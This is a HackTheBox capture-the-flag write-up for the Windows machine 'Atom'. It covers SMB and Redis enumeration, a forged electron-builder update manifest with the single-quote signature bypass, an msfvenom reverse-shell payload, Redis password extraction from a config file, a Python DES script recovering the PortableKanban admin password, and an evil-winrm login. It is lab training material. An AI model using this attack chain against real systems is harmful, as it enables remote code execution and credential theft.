Atom - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Atom is a Medium-difficulty Windows machine featuring a vulnerable Electron-based note-taking application called Heed. The attack chain exploits a signature validation vulnerability in the electron-builder auto-updater mechanism to achieve initial foothold as user jason. Post-exploitation involves extracting Redis credentials from configuration files to decrypt an Administrator password stored in the PortableKanban application, ultimately leading to administrative access via WinRM.

TL;DR: Web enumeration → electron-builder RCE via signature bypass → Redis credential extraction → PortableKanban password decryption → WinRM shell as Administrator.

Reconnaissance

Port Scanning

# Initial full-range scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.233 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service enumeration
nmap -p$ports -sV -sC 10.10.10.233

Results:

• Port 80 - Apache HTTP Server (blog hosting Heed application)
• Port 445 - SMB (Software_Updates share with write access)
• Port 6379 - Redis (requires authentication)
• Port 5985 - WinRM (administrative interface)

Service Enumeration

Redis Service

Attempting unauthenticated connection to the Redis service reveals it requires a password. Brute-forcing proves unsuccessful at this stage, warranting further enumeration.

redis-cli -h 10.10.10.233

Apache Web Server

The HTTP server hosts a blog showcasing the Heed note-taking application. Windows release binaries are available for download.

SMB Share Access

Guest authentication is enabled, exposing the Software_Updates share with read/write privileges.

smbmap -u anonymous -p anonymous -H 10.10.10.233
smbmap -u anonymous -p anonymous -H 10.10.10.233 -R Software_Updates

The share contains three client folders and a PDF document (UAT_Testing_Procedures.pdf) describing QA procedures. Critically, the document states that software updates placed in client folders will be automatically tested and installed.

Vulnerability Assessment

1. Electron-builder Signature Validation Bypass - The Heed application uses electron-builder with a known vulnerability in signature validation where filenames containing single quotes bypass integrity checks.

2. Auto-updater Configuration - Network traffic analysis (via Wireshark) reveals the application queries updates.atom.htb for a latest.yml manifest file, indicating dependency on external update sources.

3. SMB Exposure - The Software_Updates share is the webroot for the update server, allowing arbitrary file upload.

4. Redis Credential Storage - Configuration files store plaintext Redis passwords.

5. PortableKanban Encryption - The third-party kanban application uses hardcoded DES encryption keys, allowing password recovery.

Initial Foothold

Exploitation Path

Step 1: Network Configuration

Add the internal update domain to your hosts file:

echo "10.10.10.233 updates.atom.htb" >> /etc/hosts

Step 2: Generate Malicious Payload

Create a reverse shell executable using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe > shell.exe

Step 3: Calculate SHA512 Hash

Generate the base64-encoded SHA512 hash for the manifest:

sha512sum shell.exe | cut -d ' ' -f1 | xxd -r -p | base64 -w0

Output:

EVvQO63t9MvQxEIvTTKgMA+X8XMFxDJ+RUsw+Z/sXv2ISXfTJ3pGQeP5gCxP8L/oDT/rAZGNMXILwh1DtnO0/w==

Step 4: Create Malicious Manifest

Create latest.yml with a single quote in the filename to bypass signature validation:

version: 1.0.1
files:
  - url: s'hell.exe
    sha512: EVvQO63t9MvQxEIvTTKgMA+X8XMFxDJ+RUsw+Z/sXv2ISXfTJ3pGQeP5gCxP8L/oDT/rAZGNMXILwh1DtnO0/w==
    size: 7168
path: s'hell.exe
sha512: EVvQO63t9MvQxEIvTTKgMA+X8XMFxDJ+RUsw+Z/sXv2ISXfTJ3pGQeP5gCxP8L/oDT/rAZGNMXILwh1DtnO0/w==
releaseDate: '2021-04-03T12:00:00.000Z'

Step 5: Rename and Upload

Rename the executable and upload both files to the SMB share:

mv shell.exe "s'hell.exe"

# Upload via SMB
smbclient -u anonymous //10.10.10.233/Software_Updates
> put "s'hell.exe" client1/
> put latest.yml client1/

Step 6: Establish Listener and Trigger Update

Set up a netcat listener on port 4444:

nc -lvnp 4444

When the Heed application checks for updates (within ~1 minute), the malicious executable is downloaded and executed, providing a reverse shell as user jason.

Privilege Escalation

Step 1: Enumerate User Directory

Discover PortableKanban software in the jason user’s Downloads folder:

dir C:\Users\jason\Downloads

Step 2: Locate Redis Configuration

Find Redis configuration in the Program Files directory:

type "C:\Program Files\Redis\redis.windows-service.conf"

Extract the Redis password from the requirepass variable:

requirepass kidvscat_yes_kidvscat

Step 3: Connect to Redis and Extract Administrator Credentials

Using redis-cli on the compromised system or from your attacker machine:

redis-cli -h 10.10.10.233 -a kidvscat_yes_kidvscat
> KEYS *
> GET "PortableKanban:Administrator"

This returns an encrypted password field: Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi

Step 4: Decrypt PortableKanban Password

Create a Python script using the hardcoded DES key and IV from PortableKanban:

import base64
from des import *

# Encrypted password from Redis
hash = base64.b64decode('Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi'.encode('utf-8'))

# Hardcoded DES key and IV from PortableKanban
key = DesKey(b"7ly6UznJ")
plaintext = key.decrypt(hash, initial=b"XuVUm5fR", padding=True)

print(plaintext.decode('utf-8'))

Output:

kidvscat_admin_@123

Step 5: Gain Administrative Access via WinRM

Use the decrypted credentials to establish a WinRM session:

evil-winrm -i 10.10.10.233 -u administrator -p 'kidvscat_admin_@123'

Successful authentication grants a shell as the Administrator user with full system privileges.

Attack Chain Summary

Web Enumeration (Heed App Discovery)
         ↓
SMB Enumeration (Software_Updates Share Access)
         ↓
Wireshark Analysis (updates.atom.htb DNS/HTTP)
         ↓
CVE Research (electron-builder Signature Bypass)
         ↓
Malicious Manifest Creation (latest.yml with single-quote bypass)
         ↓
Reverse Shell Upload & Execution
         ↓
Initial Foothold (jason user)
         ↓
Redis Configuration Discovery
         ↓
Redis Authentication (kidvscat_yes_kidvscat)
         ↓
PortableKanban Encrypted Password Extraction
         ↓
DES Decryption (hardcoded key exploitation)
         ↓
Administrator Credentials Recovery
         ↓
WinRM Access & System Compromise

Tools Used

Key Learnings

Techniques Practiced

• Electron-builder CVE exploitation - Understanding signature validation bypass mechanisms in auto-updater systems
• YAML manifest manipulation - Crafting update definitions with malicious payloads
• Network traffic analysis - Using packet capture to identify internal update mechanisms
• Redis database enumeration - Extracting credentials and sensitive data from NoSQL stores
• Symmetric cryptography breaking - Exploiting hardcoded encryption keys in third-party applications
• Supply chain compromise - Leveraging auto-update mechanisms as attack vectors
• Windows privilege escalation - Multi-step credential recovery and lateral movement

Lessons Learned

1. Auto-updater mechanisms are critical attack surfaces - Applications that automatically fetch and execute updates must implement robust signature verification. Single-character bypasses can completely compromise integrity checks.

2. Configuration files are treasure troves - Service configuration files often contain plaintext credentials. Always search for requirepass, password, apikey, and similar fields in configuration directories.

3. Third-party application vulnerabilities compound risk - PortableKanban’s hardcoded encryption demonstrates how trusted applications can introduce severe weaknesses if they make poor cryptographic assumptions.

4. SMB shares as webroot exposure - Never expose application webroot directories via SMB shares without strict access controls. This directly enables arbitrary code execution through update mechanisms.

5. Credential reuse across systems - The same Redis password was used for database authentication and likely for other services. Implement per-service credentials and strong rotation policies.

6. Network reconnaissance pays dividends - Packet capture analysis revealed the internal update domain, which would have been difficult to discover through conventional enumeration.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>